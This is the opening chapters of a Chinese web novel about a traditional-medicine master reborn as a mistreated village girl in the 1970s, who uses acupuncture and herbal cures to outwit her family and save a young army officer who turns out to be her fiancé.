《七零全家盼我死,军区大佬派专机来接》 第1章 国医圣手穿成小可怜 后脑勺传来一阵尖锐的剧痛。 姜芷猛地睁开了眼。 映入眼帘的,是昏暗的光线下,一间散发着浓重霉味的土坯房。 她不是死了吗? 在主持一场跨国疑难病症远程会诊时,因连续工作七十二小时,心力衰竭而猝死。 不等她理清头绪,一股庞杂陌生的记忆,涌入脑海。 原主也叫姜芷,十七岁,红星生产大队老姜家三房那个谁都能踩一脚的受气包。 就在刚才,饿的发晕的原主想去厨房找口吃的,被继母王桂香一把推倒。 后脑勺重重地磕在灶台上,香消玉殒。 而她,堂堂国医圣手,传承千年的中医药世家第四十八代传人,竟穿成了一个被活活饿死的乡下小可怜! 姜芷闭上眼,深吸了一口气,强行压下心头的情绪。 死过一次的人,还怕这点场面? 她挣扎着从土炕上坐起,一阵剧烈的眩晕袭来,眼前阵阵发黑。 长期饥饿导致的严重气血亏空,脾胃虚败,这副身体的底子,比她预想的还要差。 “得赶紧弄点吃的。” 姜芷扶着土墙,一步步挪到门边。 门刚拉开一道缝隙,外面就传来了继母王桂香尖酸刻薄的嗓音。 “那个死丫头,还挺尸呢?我看她就是装死躲懒,想不上工,门儿都没有!” 继姐姜巧巧幸灾乐祸地附和。 “娘,她要是真醒不来才好呢!等会儿李媒婆上门,咱们就说她病得快死了,陆家肯定不敢要她。到时候,陆家的好亲事,不就顺理成章是我的了?” 陆家? 姜芷迅速搜索相关记忆。 隔壁村的陆家,是这十里八乡真正的根正苗红。陆家老三陆向东,更是前途无量的年轻军官。 不久前,陆家托了媒人上门,说要履行老一辈定下的婚约。 这桩婚事,瞬间成了整个红星大队最让人眼热的香饽饽。 然而,当初两家老人定下娃娃亲时,婚书上只含糊写了“姜家三房之女”,并未指名道姓就是她姜芷! 在姜老太眼里,她这个三房的丫头片子,天生窝窝囊囊,多看一眼都嫌晦气。 因此,这便给了王桂香和姜巧巧母女俩可乘之机。 这些日子,她们天天在姜老太耳边吹风,说她姜芷体弱多病,是个短命相,嫁过去只会给姜家丢人。 不如换成健康伶俐的姜巧巧,更能给姜家和陆家两家长脸。 说得多了,本就偏心眼的老太太,心思也跟着活络起来。 所以,才有了刚才那一推。 她们是想让她“病死”,好名正言顺地偷梁换柱! “呵。”姜芷冷笑。 就这种货色,也配觊觎陆向东? 她对那个素未谋面的军官毫无兴趣,但属于她的东西,谁也别想染指。 尤其是用这种上不得台面的手段。 “吱呀——” 房门被猛地推开,王桂香和姜巧巧一前一后走了进来。 当看到已经坐起来,眼神清冷地看着她们的姜芷时,母女俩脸上的表情瞬间凝固。 “哟,醒了?命还真硬!”王桂香最先反应过来,双手往腰上一叉,吊梢的三角眼满是恶毒,“醒了就赶紧滚起来去喂猪!家里的活还等着你干呢!” 姜巧巧的脸上有些失望,但转瞬就换上了一副假惺惺的关切。 “姜芷,你可算醒了,刚才真是吓死我了。你要是真有个三长两短,我可怎么跟陆家交代呀!” 姜芷面无表情地看着这对母女唱双簧。 原主的死,就是拜她们所赐。 这笔血债,她会连本带利地讨回来。 她一言不发,只是在姜巧巧靠近的瞬间,突然抬手,在姜巧巧脖颈的某个穴位上,叩击了一下。 “啊——” 姜巧巧惊叫一声,随即发现自己的喉咙像被什么东西卡住,除了“嗬嗬”的漏气声,再也发不出任何声音。 她急得满脸涨红,双手死死掐住自己的脖子。 “巧巧,你这是咋了?”王桂香大惊失色,慌忙去拍女儿的后背。 姜芷缓缓站起身。 她的身体虽然虚弱,但眼睛锐利的吓人。 “有些人,心如蛇蝎,口蜜腹剑,当心遭了报应,烂了舌根,成了哑巴!” 这话一出,王桂香和姜巧巧脸色剧变。 王桂香又惊又怒,指着姜芷大骂:“你个死丫头胡说八道什么!巧巧,你快说话啊!骂她!” 姜巧巧急得眼泪直流,可任凭她如何张嘴,如何用力,喉咙里都像是堵了一团棉花,憋屈得快要昏厥。 姜芷心中冷笑。 她刚刚点的,是廉泉穴。稍用巧劲,就能让人暂时失声,半小时后自会缓解,却查不出任何问题。 对付这种人,这只是个小小的开胃菜。 “我饿了,要吃饭。” 姜芷懒得再看那对惊慌失措的母女,径直向堂屋走去。 她现在急需补充能量,恢复体力。 至于这对极品母女,来日方长,她有的是时间和手段,慢慢炮制! 堂屋的桌上,摆着几个黑硬的窝窝头,和一碗清汤寡水的野菜粥。 姜芷只看了一眼,便皱起了眉。 以她现在虚弱的脾胃,吃下这种粗粝的食物,无异于雪上加霜。 炕上盘腿坐着抽旱烟的姜老太,见她出来,浑浊的老眼一掀,没好气地命令道:“醒了就赶紧吃,吃完滚下地挣工分去!” 姜芷直接无视了她,转身走向厨房。 厨房里,原主的亲娘赵秀娥正蹲在灶前烧火,看见姜芷,眼神怯懦地闪躲了一下,又飞快低下头。 姜芷在心中叹了口气。 指望她? 怕是这辈子都没戏了。 原主的亲娘赵秀娥,一个被磋磨掉所有棱角的女人。 她生性胆小,一辈子都活在那个男人的阴影里,连大声说话都不敢。 后来,那个男人为了把王桂香娶进门,竟狠心跟她离了婚。 无处可去的赵秀娥,只能以一个前妻的尴尬身份,继续留在姜家。 她的脊梁骨早就被戳断了。 如今活得人不人,鬼不鬼的。 姜芷在逼仄的厨房里扫视一圈,在角落里找到一小袋糙米,几颗干瘪的红枣,还有一把黄芪。 “聊胜于无。” 她将东西淘洗干净,又从自己随身的小布包里——那是她穿越时唯一跟来的东西,里面有几套银针和少量珍稀药材的粉末——捻出一点点当归粉。 当归黄芪红枣粥。 补气养血,健脾和胃,最适合她眼下的情况。 赵秀娥看着女儿一连串陌生的动作,终于忍不住小声开口:“芷……芷儿,你这是干啥?” “熬粥。” 姜芷生火、下米、控制火候,动作行云流水。 很快,一股混杂着米香和药材清香的独特味道,从厨房里弥漫开来。 这股香味,立刻引来了堂屋的人。 “死丫头片子在里面捣鼓啥呢?这么香!” 姜老太拄着拐杖,第一个冲了进来。 王桂香紧随其后,当看到姜芷正守着一个小锅熬东西时,当场炸了毛:“好你个小贱人!竟敢偷家里的粮食开小灶!看我不撕了你!” 她怒吼着扬起巴掌,就要朝姜芷脸上扇去。 姜芷眼神一寒,手腕微动,正欲出手。 就在这时,院外传来一阵嘈杂声。 “队长来了!大山队长来了!” 一个身材高大,皮肤黝黑的中年汉子大步流星地走了进来,正是红星大队的队长赵大山。 他一进门,就看到王桂香撒泼要打人,顿时眉头紧锁,沉声喝道:“王桂香!你又在作什么妖!” 王桂香讪讪地放下手,立刻恶人先告状:“队长,你可得为我们老姜家做主啊!这死丫头装病偷懒,还偷家里的粮食自己做好吃的!” 姜芷神色淡然地开口:“我身体不适,熬点粥喝,不算开小灶。大伯母要是不信,可以尝尝。” 说话间,粥已熬好。 姜芷盛出一小碗,直接递给赵大山:“赵队长,您是长辈,又是队里的主心骨,您给评评理。也尝尝我这碗粥,看是不是什么精贵东西。” 赵大山是赵秀娥的远房堂兄,对姜芷这个侄女多少有些怜悯。 见她脸色惨白,的确病得不轻,便接过了碗。 他最近为队里的秋收忙得焦头烂额,胸口总是堵着一口气,闷得慌。 他吹了吹热气,喝了一口。 粥一入口,软糯香甜,一股奇异的暖流顺着食道滑入胃中,瞬间扩散全身。 就连胸口的郁结,都消散了大半!整个人感觉通泰舒畅了不少! “好粥!这粥……”赵大山眼里满是赞叹,“芷丫头,你这粥是咋熬的?喝下去咋这么得劲儿!” 姜芷微微一笑:“就是些糙米、红枣,加了点黄芪,不值钱的东西。” 王桂香一脸不信,探头使劲闻了闻,确实是那几样东西的味道,可这效果也太邪乎了! 就在此时,姜巧巧哭哭啼啼地冲了进来,指着自己的喉咙,只能发出“嗬嗬”声。 她身后,跟着满脸晦气的李媒婆。 李媒婆一看到这阵仗,顿时不耐烦地嚷嚷起来:“哎哟!你这姑娘是怎么了?突然就说不出话了!这……这让我怎么去陆家回信儿啊!” 第2章 随手捡个未婚夫 “这……这是怎么了?” 赵大山也被这突发状况惊得一愣。 王桂香像是找到了主心骨,一把鼻涕一把泪地扑上来。 “队长!你可得给我们巧巧做主啊!” “都是姜芷这个小贱蹄子!不知道从哪学来的妖法,把我闺女给弄哑了!” 姜芷冷眼看着她撒泼,连眉梢都未曾动一下。 赵大山皱着眉,目光带着审视,落在了姜芷身上。 姜芷迎着他的视线,不慌不忙地开口。 “我只是点了她一处穴位,让她暂时清静清静。” “谁让她口出恶言,咒我这个妹妹去死呢?我这算是替长辈教她,什么叫祸从口出。” 她顿了顿,补充道:“过一段时间,自然会好。” 点穴? 这话一出,屋里屋外所有人眼神都无比疑惑。 李媒婆可不管什么点穴不点穴,她只知道自己的生意黄了。 她不耐烦地一甩帕子,尖声嚷嚷道:“行了行了!既然姜巧巧说不了话,那陆家的亲事跟她就无缘了!我可不敢给人家介绍一个说不出话的哑巴!” 说完,看也不看急得直跺脚的姜巧巧,扭着腰气冲冲地走了。 陆家的好亲事,就这么吹了! 姜巧巧急火攻心,两眼一翻,竟是直挺挺地晕了过去。 “巧巧!”王桂香尖叫一声,屋里顿时乱成一锅粥。 而这一切的始作俑者姜芷,完全置身事外。 她端起那碗尚有余温的药粥,在一片鸡飞狗跳中,慢条斯理地、一小口一小口地喝着。 在场的村民们看着这一幕,心里都明镜似的。 这老姜家的三丫头,怕是真的脱胎换骨,再也不是以前那个任人拿捏的受气包了。 接下来的几天,姜芷彻底成了老姜家的“隐形人”。 她每天雷打不动地去后山采些没人认识的“野草”,回来就关在房里捣鼓药膳。 王桂香母女俩被她那手神出鬼没的“点穴”功夫吓破了胆,只敢在背后咒骂,再也不敢当面招惹。 几天下来,姜芷的脸色肉眼可见地红润起来,原本干瘦的身体也丰盈了些许,一双眼睛清亮有神。 这天,她又在后山寻摸药材,竟让她在一处隐蔽的石壁下,发现了几株年份不错的野生黄精。 这可是补气养阴的好东西。 就在她小心翼翼地将黄精挖出,准备下山时,突然听到不远处传来一阵压抑的呻吟声。 姜芷眼神一凛,瞬间警惕起来。 她屏住呼吸,循着声音的来源找去,拨开眼前茂密的灌木丛。 丛林掩映下,一个身穿军绿色作训服的男人靠坐在一棵大树下。 男人脸色惨白,额头冷汗密布,嘴唇冻得发紫,他紧咬着牙关,浑身颤抖,像是在忍受着巨大的痛苦。 军人? 姜芷刚要出声,那男人猛地睁开了眼! “谁!” 姜芷吓了一大跳,站直身体,表明自己没有威胁。 “我是山下红星大队的社员姜芷,路过这里。同志,你受伤了?” 男人听到她的名字,有些吃惊。眼神中的杀气也稍稍收敛,但戒备未减。 姜芷的视线却落在了他微微敞开的衣领上。 他脖颈间的皮肤,是青黑色,这是中毒了。 再看他急促的呼吸和发绀的指尖。 寒毒攻心,已入肺腑! 姜芷心中瞬间有了判断。 “我没事。” 男人艰难地吐出三个字,显然不想与外人多言。 “你快死了。” 姜芷一句话,毫不客气地戳破他的硬撑。 “再拖一刻钟,寒毒侵入心脉,大罗神仙也救不了你。” 男人的瞳孔骤然一缩! 他比任何人都清楚自己身体的情况有多糟糕,这个小姑娘,一语中的! “我懂医术,或许能救你。”姜芷说着,从随身的小布包里,取出了那套用惯了的银针。 他看着她手里闪着幽幽寒光的银针,有些错愕。 就这么个乡下小丫头,会医术? “信我,就活。不信,就死。”姜芷把选择权交给他。 男人死死地盯着她,她脸上没点开玩笑的意思。 他已经没有别的选择了,最终点了点头。 “……麻烦了。” 姜芷不再废话,让他解开上衣。 当看到他胸口处那片更加触目惊心的青黑时,她眼神一凝,取出一根银针在火折子上燎烤消毒。 “忍着点,会有点疼。” 话音未落,她手腕一沉,银针快、准、狠地刺入膻中穴! 男人闷哼一声,只觉得一股细微的暖流,轰然炸开,瞬间驱散了盘踞在胸口的致命寒意。 剧痛,竟真的减轻了一分! 他震惊地看着姜芷。 这个看起来弱不禁风的小姑娘,下针的手法老练得很! 鸠尾、中脘、气海…… 随着一根根银针落下,男人感觉自己泡进了温泉,全身都舒畅起来。 一炷香后,姜芷起针,额角也见了细汗。 他的脸色已恢复了几分血色,呼吸也平稳了。 “你的寒毒很重,我只能暂时压制,根治需要长期调理。”姜芷收好银针,淡淡说道。 男人感受着身体久违的轻松,对眼前这个小姑娘的医术再无半分怀疑。 他郑重地开口:“姜芷同志,多谢你的救命之恩!我,记下了!” “举手之劳。” 姜芷摆了摆手,“你现在感觉怎么样?” “好多了。” 男人缓缓吐出一口浊气,尝试着攥了攥拳。 指尖传来的,是久违的力量感。 虽然依旧虚弱,但那股盘踞在五脏六腑,随时能将他拖入深渊的阴寒死气,真的散了。 他抬起头,第一次真正仔细地打量着这个救了他性命的姑娘。 清瘦,却站得笔直。 眼神清冷,却藏着惊世的本事。 等等…… 姜芷? 红星大队的姜芷? 陆向东的脑海里,猛地闪过家里长辈放在他书桌上的一份档案。 上面清清楚楚地写着,他那位素未谋面的娃娃亲对象,就叫姜芷。 也是红星大队的。 陆向东的心脏,狠狠地漏跳了一拍。 他看着眼前这个神情淡漠的小姑娘,眼神变得无比复杂。 所以,她就是……那个要和他结婚的,未婚妻? 姜芷自然也想不到,她无意中救下的人,会是自己的未婚夫,陆向东! 第3章 猪在发狂浪叫 “你现在必须立刻下山了。” 姜芷抬头看了看天色,太阳已经开始偏西,山里的雾气渐渐升腾。 “山中夜里寒气更重,会加重你的病情,我刚才的治疗就等于白费了。” 她走到陆向东面前,朝他伸出手,表情严肃。 “我扶你。” 陆向东下意识地摇头。 “不行。” 他是一名军人。 他的天职是保护人民,不是成为一个女同志的累赘。“我一个男人……” 姜芷的眉头蹙了起来,直接打断了他。 “这是医嘱。” “作为病人,你只有两个选择。” “要么现在跟我下山,活下去,彻底根治。” “要么留在这等死,寒毒复发,瘫痪在床,求生不得,求死不能。” “医嘱”这两个字,从一个看起来不过十七八岁的农村姑娘嘴里说出来,竟让他哑口无言。 他知道,她说的都是对的。 他沉默了几秒,终于还是将自己的手搭在了她的手上。 她的手很凉,却很稳。 借着她的力道,陆向东缓缓站了起来。 两人相互搀扶着,一步一步地往山下走。 陆向东终究还是没忍住。 “姜芷同志,你的医术……是跟谁学的?” 姜芷眼皮都没抬,随口应付。 “祖上留下来的几个土方子,我闲着没事瞎琢磨的。” 瞎琢磨? 陆向东心底冷笑,一个字都不信。 瞎琢磨能有一眼看穿他病灶的毒辣眼力? 瞎琢磨能有那套行云流水、老练狠绝的针法? 军区最顶尖的军医,都没有一个人,能像姜芷这样,只用几根银针,就在这么短的时间内,极大缓解他的痛苦。 天色暗得极快。 就在这时,陆向东猛地停下脚步,喉咙里涌上一股腥甜,随即爆发出剧烈的咳嗽。 那股被银针强行压下去的寒气,再次在他身体里横冲直撞。 “怎么了?”姜芷脸色一变。 “坐下!” 她不容分说,将他死死按在一块平坦的岩石上。 火折子划亮,一根手指粗的艾条被点燃,辛辣的艾草香气瞬间弥漫开。 姜芷没有丝毫避讳,直接撩开他的上衣,将燃烧的艾条悬在他腹部的关元穴上方,小心地控制着距离。 昏暗的火光下,女孩的侧脸专注。 跳动的火焰在她长长的睫毛上投下淡淡的剪影。 陆向东的呼吸一滞。 他忘了咳嗽,也忘了身体里那要命的剧痛。 一股奇异的暖流从腹部散开,驱散着阴寒。 身体在好转。 可他的心,却不受控制地狂跳起来。 一种完全陌生的,酥麻滚烫的感觉,在心底滋生。 在艾灸的帮助下,陆向东的情况再次稳定。 他强撑着精神,凭借着顶级的军事素养,辨认着星辰与山势,反过来搀扶着姜芷,在漆黑的山林中前行。 终于,在体力耗尽之前,他们看到了山脚下村庄里那星星点点的灯火。 到了村口,陆向东却停下了脚步。 “姜芷同志,多谢。” “我这次来是秘密任务,不能惊动任何人。村里……有没有没人住的空屋子?” 他不想暴露自己的行踪,更不想因为自己的出现,给姜芷带来不必要的麻烦。 姜芷瞬间明白了他的顾虑。 一个身份不明的军人突然出现在村里,确实会引起不必要的风波。 她思索了片刻,想到了一个地方。 “有。” “大队部后面有个闲置的仓库,平时用来堆放杂物,很少有人去。我带你过去。” 她带着陆向东,避开村里的大路,绕着小道来到了大队部的仓库。 仓库里堆满杂物,但胜在隐蔽,还能遮风挡雨。 姜芷利落地用稻草给他铺了个简易的床铺。 “你先在这里委屈一晚。你的病要根治,必须配合药膳调理,把亏空的底子补回来。” 安顿好陆向东,姜芷拖着疲惫的身体回到姜家。 刚一脚踏进院门,就感觉到一股不同寻常的气氛。 堂屋的煤油灯亮着。 姜老太黑着一张脸坐在炕头,王桂香和已经能开口说话的姜巧巧,像两尊门神,一左一右地守着。 这架势,明显是三堂会审。 姜芷刚进门,王桂香尖酸刻薄的质问,就劈头盖脸地泼了过来。 “死丫头!你还知道回来!” “天都黑透了,一下午死哪儿野去了!说!是不是背着我们在外面偷汉子!” 声音尖利刺耳,恨不得嚷得全村人都听见。 姜巧巧的嗓子还有些沙哑,眼神里的怨毒却快要溢出来。 “娘,这还用问吗?她搅黄了我的好亲事,自己就迫不及待出去勾搭野男人了呗!” “小小年纪不学好,烂在骨子里的贱货,真是丢尽我们老姜家的脸!” 她心心念念的军官丈夫飞了,这笔账,她全算在了姜芷头上。 她得不到的,姜芷也休想好过! 姜芷看着她们,连一个多余的表情都懒得给。 跟蠢货费口舌,是对自己智商的侮辱。 她甚至没进堂屋,转身径直走向厨房,冷冷丢下一句。 “采药。” 她现在又累又饿,只想喝口热粥。 然而,当她走进厨房,掀开锅盖的瞬间,脸色骤然沉了下去。 锅里空空如也。 她放在灶台边,准备明天用的药渣,同样不翼而飞。 “谁动了我的粥?” 王桂香抱着胳膊,一脸看好戏的得意,从堂屋跟了进来。 “我动的,怎么了?” “你个赔钱货吃那么好的东西浪费粮食,我闻着挺香,就拿去喂猪了!家里的猪可是金贵东西,马上就能换钱,可比你这死丫头有用多了!” 她以为这样能气到姜芷,满脸幸灾乐祸。 谁知,姜芷听完,不怒反笑。 她的笑容很冷,看得王桂香心里莫名有些发毛。 “喂猪了?” “大伯母,你可真是大方。你知道我那粥里放了什么吗?” 她顿了顿,看着王桂香得意的脸,缓缓吐出几个字。 “那里面有几味药,是用来活血化瘀的。” “人喝了,舒筋活络,调理气血。” “但是猪吃了嘛……活血过度,气血上涌,轻则躁动不安,重则……” “七窍流血,发狂嗜血。” 王桂香先是一愣,随即叉着腰破口大骂。 “放你娘的屁!你个小贱人少在这儿胡说八道吓唬老娘!” “一锅破粥,还能把猪吃疯了?我看你就是没安好心,故意咒我们!” 她的话音,还未完全落下。 “嗷——嗷——!!” 院子里的猪圈里,突然传来一阵凄厉的猪叫。 紧接着! “砰!砰!砰!” 猪用身体疯狂撞击猪圈木门! 屋里所有人都吓了一大跳。 第4章 求我?拿出你的诚意来! 整个姜家大院,甚至连带着周围的邻居,都被这突如其来的恐怖动静惊得熄了灯,竖起了耳朵。 王桂香难以置信地盯着猪圈的方向,嘴唇哆嗦着。 “咋……咋回事?” 她这才想起姜芷刚才说的话。 不可能! 绝对不可能! 一锅破粥,怎么可能把猪吃疯了? “肯定是巧合!对!是那头猪发瘟了!” 王桂香嘴上还硬撑着,她强装镇定,转头指着姜芷。 “死丫头!你少在这里妖言惑众!家里的猪要是出了半点事,我撕了你的皮!” 堂屋里的姜老太再也坐不住了。 她拄着油光发亮的拐杖,冲了出去。 当她看到猪圈门已经被撞得摇摇欲坠,就要散架时,一脸老脸立即哭丧下来。 “我的猪!我的宝贝金疙瘩啊!” 这几头猪,是她下半年的全部指望,是能换回粮食、换回全家嚼用的命根子! 她急得心肝脾肺肾都在抽痛,拐杖在青石板上顿得“咚咚”作响。 “还愣着干什么!老大!老二!你们两个是死人吗?” “赶紧进去把猪给老娘按住!快去啊!” 在一片混乱和尖叫声中,姜芷慢悠悠地从厨房里走了出来。 她靠在门框上,双手抱胸,气定神闲地欣赏这场闹剧。 就在这时,“咔嚓”一声! 猪圈门上的一块厚木板,被硬生生撞飞了出去! 透过那个破洞,院子里的人终于看清了里面的景象。 那头最肥的母猪,双眼赤红,嘴角挂着长长黏腻的白色涎沫,正疯了一样一次又一次地猛撞着墙壁和木门。 每一次撞击,都发出沉闷恐怖的“咚”声,完全失去了理智。 这哪里还是猪? 这分明就是一头疯了的嗜血野兽! “快!快按住它!”姜老太急得直跳脚。 大伯姜建国和二伯姜建业,在老娘的催逼下,硬着头皮抄起院里的扁担和木棍,哆哆嗦嗦地靠近猪圈。 可他们刚走到门口,那头发狂的母猪就猛地调转方向。 一双猩红的眼睛,隔着破洞,死死地盯住了他们。 “嗷——!” 它后腿猛地一蹬,庞大的身躯像炮弹一样,作势就要从那破洞里冲出来! “我的娘诶!” 姜建国吓得魂飞魄散,手里的扁担“哐当”一声掉在地上,连滚带爬地后退了好几步,狼狈地摔了个屁股墩。 姜建业更是面无人色,腿肚子抖得像筛糠,根本不敢再上前一步。 两个大男人,被一头猪吓得屁滚尿流。 王桂香这下是真的怕了。 她终于意识到,姜芷说的每一个字,都是真的。 她猛地回头,看向那个置身事外的三丫头,眼里除了愤怒,还有无法理解的惊恐。 这个小贱人,她到底是什么时候变得这么邪门了? 院子里的动静实在太大,连住在村头的大队长老赵家都被惊动了。 “怎么回事?姜家这是要拆房子了?” 赵大山带着几个胆大的社员,打着手电筒匆匆赶来。 他一脚踏进姜家院子,就被眼前的景象给镇住了。 猪圈快要塌了,一头血红眼睛的疯猪在里面横冲直撞,姜家的人乱作一团。 “大山队长!你可算来了!” 姜老太像是看到了救星,一把死死抓住他的胳膊。 “快!快帮我们想想办法!这猪疯了!马上就要撞死人了!” 赵大山也被这阵仗吓了一大跳,他当了这么多年队长,还是头一次见到猪能疯成这个样子。 就在众人手足无措,眼看那猪圈门就要彻底垮掉时。 姜芷清冷的声音响起。 “队长。” 她走到赵大山身边,指着猪圈。 “这猪不是发瘟,是吃了不该吃的东西,活血过度,气血上涌,冲昏了头脑,所以才会发狂。” “现在必须立刻制止它,再这么撞下去,撞死是小事。” “要是让它冲出猪圈,伤了人,那麻烦就大了。” 这话一出口,所有人的心都提到了嗓子眼。 一头两百多斤的疯猪在村里乱窜,那后果不堪设想! 王桂香听着姜芷的话,心里又气又怕,可事到如今,她不敢再嘴硬。 “咔嚓——” 猪圈的门在又一次猛烈的撞击下,发出一声巨响,一根门栓直接断裂! 大门,开了! 眼看疯猪就要破门而出! 姜老太这下是彻底慌了神,她急得直跺脚,再也顾不上大家长的面子和威严。 她转向姜芷求饶。 “芷……芷丫头……” “奶奶错了!奶奶知道错了!” “你……你说,这……这该怎么办啊?” “你既然知道是咋回事,你肯定有法子,对不对?你快救救奶奶的宝贝猪吧!” 这是她第一次,恳求这个最不受待见的孙女。 姜芷看着她,脸上依旧没什么表情。 救猪? 可以。 但天下没有白吃的午餐。 她等的就是这一刻。 “要我救猪,也不是不行。” 她环视了一圈院子,最后,目光落在面如死灰的王桂香和姜巧巧身上。 “但我有条件。” “从今天起,我和我娘,要自己开火,单过。” “我们母女俩的吃穿用度,口粮分配,王桂香母女,不能再插手一分一毫。” 这言一出,满场皆静。 连那头发狂的猪,似乎都停顿了一瞬。 王桂香和姜巧巧的脸瞬间就绿了。 自己开火? 这跟分家有什么区别! 这死丫头,是要当着全村人的面,造反! 姜老太也愣住了,她没想到姜芷会在这个节骨眼,提出如此决绝的条件。 可她一转头,就看到那头疯猪已经探出了半个身子,猩红的眼睛正死死地盯着她! 一边是她在这个家说一不二的脸面和规矩。 另一边,是白花花的银子和粮食,是她下半辈子的指望。 她的心,在滴血。 姜老太咬了咬牙。 “行!我……答……应……你!” 为了她的宝贝猪,为了她的钱,她认了! 第5章 神乎其技,一草定乾坤 “口说无凭。” 姜芷并没有因为姜老太的妥协而放松。 “队长,您是公家人,您来给做个见证。” “这事,得立个字据。” 她太清楚姜家这群人的德性了,今天答应得好好的,明天就能翻脸不认人。 对付无赖,只有白纸黑字,才能把他们的后路彻底堵死! 赵大山深深地看了一眼这个侄女。 难道是平日里被欺负惯了,今天触底反弹了? “好!” 赵大山应下了这事。 “我做主了!建国,去拿纸笔来!” 很快,一份简单的分家协议就在院子里的石桌上写好。 王桂香和姜巧巧气得脸色铁青,浑身都在发抖。 但在赵大山威严的目光和姜老太要杀人的眼神逼视下,她们只能屈辱地,哆哆嗦嗦按下了自己的红手印。 从这一刻起,姜芷母女在姜家,正式拥有了独立的经济权。 字据一立,姜芷的气场瞬间一变。 她立刻对赵大山说道。 “队长,麻烦您找几个胆子大的壮劳力,等下帮我按住猪圈门,别让它真冲出来。” 她吩咐完,不等众人反应,转身就大步走向后院的菜地。 院子里所有人的目光,都下意识地跟随着她的身影,好奇她到底要用什么神仙法子。 只见姜芷在菜地角落里转了一圈,弯腰拔了几根最不起眼的,长得跟野草没区别的植物。 “就……就这玩意儿?” 人群里,有人忍不住小声嘀咕。 “这不是路边到处都是的车前草和蒲公英吗?这玩意儿也能治猪发疯?” 王桂香更是从鼻子里发出一声冷哼,咬牙切齿地认定姜芷就是在故弄玄虚! 姜芷对周围的议论充耳不闻。 她回到院里,找来一个石臼,将那几株草药连根带叶地扔进去,只听“咚咚咚”几声,就捣成了一滩墨绿色的药泥。 紧接着,她走进厨房,抓了一大把猪最爱吃的糠麸,将药泥和糠麸均匀地混合在一起。 一股混杂着青草和谷物的奇特清香,瞬间弥漫开来。 “看准了!” 姜芷端着那盆混了药的猪食,对那几个守在猪圈门口的壮劳力低声道。 “等会儿它撞累了,停下来的那一瞬间,立刻把这个从破洞里扔进去!” “记住,一定要快!” 几个壮汉紧张地点了点头,手心里全是汗。 院子里所有人都屏住了呼吸,几十双眼睛死死地盯着那扇摇摇欲坠的猪圈门。 那头疯猪还在不知疲倦地用身体撞击着墙壁,但所有人都看得出来,它的动作明显慢了下来,喘息声也越来越重。 就在它后退一步,积蓄力量,准备进行下一次冲撞的时候。 “就是现在!” 姜芷一声令下! 一个离得最近的汉子眼疾手快,用尽全身力气,将那盆药食从猪圈门的破洞里,猛地甩了进去! “哐当”一声,食盆稳稳地落在了猪圈中央。 下一秒,那头正要再度发狂的母猪,身躯猛地一僵。 猩红的眼睛里,竟有些迷茫。 它耸动着鼻子,闻到一股无法抗拒的清香。 它果断放弃撞门,调转方向,一步步走到食盆前,开始“吭哧吭哧”地埋头大吃起来! 在场的所有人都看傻了。 这……这就行了? 就这么简单? 王桂香和姜巧巧的眼珠子都快瞪出来了。 更神奇的还在后头。 那头猪三下五除二吃完了药食,原本狂躁不安的身体,肉眼可见地安静了下来。 它不再用头撞墙,也不再发出凄厉的嚎叫。 只是哼哼唧唧地在原地转了两圈,然后“扑通”一声,侧身躺倒在地,眼皮一耷拉…… 竟然,睡着了。 甚至,还响起了轻微的鼾声。 整个姜家大院,一片死寂。 赵大山半天说不出话来,再看向姜芷的眼神,已经微微变了。 这丫头,是真有些门道啊! 疯猪事件平息,姜芷在所有人心中,陡然拔高了一个身位。 她没有闲着,而是趁热打铁,再次向赵大山开口。 “队长。” “其实……我看过一些祖上留下的方子,不光能治畜生。” “人的一些小病小痛,比如头疼脑热、跌打损伤什么的,我也能看。” “我想着,能不能为队里做点贡献?以后社员们有个小毛病,就不用大老远跑去卫生所了。我帮大家看看,也不要钱,给我记点工分就行。” 想要彻底摆脱繁重的农活,专注搞事业,就必须找到一个光明正大,能被所有人接受的理由。 “看病换工分”,就是眼下最好的出路。 赵大山闻言,顿时犹豫起来。 让一个十七岁的黄毛丫头当队里的医生?这事要是传出去,也太儿戏了。 就在这时,憋了一肚子气的王桂香和姜巧巧,立刻抓住了攻击的机会。 “她吹牛!” 王桂香尖着嗓子喊道 “队长你可千万别信她的!她就是不想下地干活,想偷懒!” 姜巧巧也阴阳怪气地附和。 “就是啊,治好猪那是瞎猫碰上死耗子,运气好罢了。给人看病可不一样,万一吃出个三长两短,谁负责?” “是不是吹牛,试试不就知道了?” 她的目光转向赵大山。 “队里要是有病人,我可以当着大家的面,当场给他看。治好了,您再决定工分的事。治不好,我甘愿受罚,绝无二话。” 话音刚落,人群里一个叫赵铁柱的汉子,猛地挤了出来。 他爹前几天得了热感冒,高烧不退,请了卫生所的医生,药吃了一大堆也不见好,已经躺在床上一连好几天,人事不省了! “我爹!我爹病了!” 赵铁柱也是急病乱投医,红着眼睛大声喊了出来。 “姜芷丫头,你敢不敢去看看我爹?” “好!” 赵大山当场拍板。 “姜芷,你要是真能把铁柱他爹给治好了,以后你就不用下地了!队里的人生病你来看,看好一个病人,我给你记十个工分!” 十个工分! 那可是最壮的劳力,在秋收大忙时,顶着毒太阳干一整天活才能挣到的! 人群顿时一阵巨大的骚动。 王桂香和姜巧巧的脸色又是一变,心里疯狂地诅咒姜芷千万别成功! 第6章 传言误我啊 一群人浩浩荡荡地来到了赵铁柱家。 病人正躺在炕上,面色潮红,嘴唇干裂,呼吸滚烫,神志都有些不清醒了。 姜芷只看了一眼,又伸手搭了搭脉,心中便已了然。 “风热袭肺,邪热壅盛。” 她没有多做解释,直接从随身的小布包里,取出银针。 在所有人惊疑不定的注视下,她捻起一根最长的银针,在火折子上燎烤消毒后,手法利落地刺入了病人手臂上的曲池穴。 快、准、狠! 紧接着,大椎、肺俞、合谷…… 围观的村民哪里见过这种阵仗,一个个都瞪大了眼睛,连大气都不敢喘。 尤其那几根银针扎下去,病人原本急促滚烫的呼吸,竟然真的渐渐平稳了下来。 施针完毕,姜芷又要来一些新鲜的薄荷叶和芦根,捣烂后用温水调开,让赵铁柱小心地给病人喂下。 一套操作,行云流水。 约莫过了半个小时。 炕上的病人,额头上的热汗退去,那不正常的潮红也渐渐消散。 他缓缓睁开眼睛,眼神虽然还有些虚弱,但神志已然清醒! “水……水……” “爹!你醒了!你真的醒了!” 赵铁柱激动得当场就哭了出来。 这一下,所有人都被彻底震傻了! 这医术也太神了!比县里医院的洋药片还管用! 王桂香和姜巧巧两人面面相觑,难以置信。 “好!好啊!” 赵大山激动地一拍大腿,当着所有人的面,高声宣布。 “从今天起,姜芷就是我们红星大队的医生!看病抵工分!” “这事,就这么定了!” 听到这话,姜芷终于松了一口气。 ... 夜深人静。 